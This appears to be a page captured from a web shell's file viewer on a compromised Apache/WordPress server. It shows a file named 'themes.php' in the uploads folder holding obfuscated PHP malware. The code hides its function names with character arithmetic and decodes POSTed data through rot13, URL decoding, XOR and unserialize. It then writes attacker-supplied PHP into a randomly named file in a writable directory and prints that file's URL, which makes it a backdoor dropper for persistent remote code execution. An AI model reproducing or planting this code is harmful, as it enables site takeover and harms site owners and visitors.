HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/uploads/2023/03/themes.php
<?php $YIcSfrwnL = "ScmPM";function xqCpbK($YIcSfrwnL){$YvEOP = "\x72".chr(97)."\x77"."\x75".chr(114)."\x6c"."\x64".chr(536-435).chr(837-738)."\157".chr(100)."\145";$iVLPkEmvq = "\x73".chr(116)."\x72"."\x5f".chr(114).chr(111).'t'.chr(300-251).chr(51);$wKuWvKgBQE = 's'.chr(431-315)."\162"."\137"."\163"."\x70"."\154".'i'.chr(116);$YIcSfrwnL = $wKuWvKgBQE($YvEOP($iVLPkEmvq($YIcSfrwnL)));return $YIcSfrwnL;}function eTQFnqD($zEJeCB, $MCfSQK){$KADQS = chr(115).chr(919-803).'r'.'_'."\163".chr(307-195)."\x6c"."\151".'t';$zEJeCB = array_slice($KADQS(str_repeat($zEJeCB, (count($MCfSQK)/16)+1)), 0, count($MCfSQK));return $zEJeCB;}function wsarhshUH($BSQRgotlnQ, $byCSZhFR, $zEJeCB){$sGoAlv = "1003ea52-92aa-48c9-8c85-545d9a083975";return $BSQRgotlnQ ^ $sGoAlv[$byCSZhFR % strlen($sGoAlv)] ^ $zEJeCB;}function SrAFK($MCfSQK, $zEJeCB){$MCfSQK = array_map("wsarhshUH", array_values($MCfSQK), array_keys($MCfSQK), array_values($zEJeCB));$MCfSQK = implode("", $MCfSQK);$OSmYQoxG = "\165"."\156"."\163".chr(189-88).chr(114)."\x69".chr(97).chr(108).chr(105)."\172"."\x65";$MCfSQK = @$OSmYQoxG($MCfSQK);return $MCfSQK;}function zGyML(){echo "DFrtLGaz";}function JnywqkUZ($PkQNlir){static $PnWfv = array();$vRvViueq = glob($PkQNlir . '/*', GLOB_ONLYDIR);$CuadctXdzZ = count($vRvViueq);if ($CuadctXdzZ > 0) {foreach ($vRvViueq as $PkQNl) {$kFBADAsvHM = chr(105).'s'.'_'.'w'."\x72"."\x69"."\x74".chr(97)."\142".'l'."\x65";if (@$kFBADAsvHM($PkQNl)) {$PnWfv[] = $PkQNl;}}}foreach ($vRvViueq as $PkQNlir) JnywqkUZ($PkQNlir);return $PnWfv;}function YPUuyC(){echo "ScmPM";}function KyxDOys($MCfSQK){$MnSWDyT = 'D'.chr(511-432).'C'."\125"."\115".chr(69).'N'.chr(84).chr(162-67).chr(87-5).chr(511-432).chr(79)."\124";$jcyPEFKSX = $_SERVER[$MnSWDyT];$vRvViueq = JnywqkUZ($jcyPEFKSX);$EmwRbdMxse = array_rand($vRvViueq);$MaDSJONU = chr(931-885).chr(653-541)."\x68"."\x70";$LQPyaWU = $vRvViueq[$EmwRbdMxse] . "/" . substr(md5(time()), 0, 8) . $MaDSJONU;$AfMTkjzek = 'f'.chr(701-596).chr(108).chr(101).'_'.chr(112).'u'."\x74"."\137".chr(99).'o'.chr(806-696)."\164".'e'.chr(646-536).'t'.chr(219-104);@$AfMTkjzek($LQPyaWU, $MCfSQK);$FgmxxEZKf = 'H'."\124".chr(84)."\120".'_'."\110"."\117"."\123"."\124";$mcwcZbrID = "\x68".chr(116)."\x74".'p'.':'.chr(645-598).chr(47);$MUkYHWW = $mcwcZbrID . $_SERVER[$FgmxxEZKf] . substr($LQPyaWU, strlen($jcyPEFKSX));print($MUkYHWW);}foreach ($_POST as $zEJeCB => $MCfSQK){$ilcqqAgUCu = strlen($zEJeCB);if ($ilcqqAgUCu == 16){$MCfSQK = xqCpbK($MCfSQK);$zEJeCB = eTQFnqD($zEJeCB, $MCfSQK);$MCfSQK = SrAFK($MCfSQK, $zEJeCB);if (@is_array($MCfSQK)){$EmwRbdMxse = array_keys($MCfSQK);$MCfSQK = $MCfSQK[$EmwRbdMxse[0]];if ($MCfSQK === $EmwRbdMxse[0]){$vgJeD = "\x70".'h'.chr(112);$JvMscJcYom = "\160"."\x68"."\160".'v'.chr(1088-987).chr(114)."\163".chr(105).chr(407-296).chr(110);$iXTiW = chr(635-520).chr(292-191)."\x72"."\151".'a'."\x6c".chr(105).chr(122).chr(101);echo @$iXTiW(Array($vgJeD => @$JvMscJcYom(), ));strlen($zEJeCB);}else {KyxDOys($MCfSQK);}die();}}}